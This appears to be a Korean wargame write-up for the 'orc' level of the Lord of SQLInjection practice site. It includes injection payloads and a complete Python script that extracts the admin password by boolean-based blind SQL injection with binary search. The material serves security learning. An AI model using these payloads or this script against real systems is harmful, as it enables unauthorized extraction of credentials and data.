Query
1
select id from prob_orc where id='admin' and pw='{$_GET[pw]}'
Protection
preg_match
prob
문자열_
.
()
addslashes()
1
$_GET[pw] = addslashes($_GET[pw]);
if statement
1
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
Analysis
- addslashes 함수 수행 전에 쿼리문이 실행된다
- 실행된 쿼리문이 출력이 되지는 않기에 update, insert와 같은 구문을 통해 데이터베이스를 변경할 수 있다.
prob
문자열이 필터링되기에?pw=1' or 1=1; update char(0x70726F625F6F7263) set pw='123' where id='admin' %23
와 같은 페이로드를 시도하였지만 변화X- 첫 번째 쿼리 실행 후 db에서 값을 가져온다면
<h2>Hello admin</h2>
을 echo하기에 blind sqli 시도 가능
exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookie = '{PHPSESSID}'
# Get the length of the password
length = 1
while True:
payload = f"?pw=0' or id='admin' and length(pw)={length} %23 "
res = requests.get(url=f'{url}{payload}', cookies={'PHPSESSID': cookie})
if '<h2>Hello admin</h2>' in res.text:
break
length += 1
print(f'*** Found length: {length} ***')
# Get the password by binary search
password = ''
for i in range(1, length + 1):
low = ord('0')
high = ord('z')
while low <= high:
mid = (low + high) // 2
payload = f"?pw=0' or id='admin' and ord(substring(pw,{i},1))<={mid} %23 "
res = requests.get(url=f'{url}{payload}', cookies={'PHPSESSID': cookie})
if '<h2>Hello admin</h2>' in res.text:
high = mid - 1
else:
low = mid + 1
password += chr(low)
print(f'Current password: {password}')
print(f'*** Found Password: {password} ***')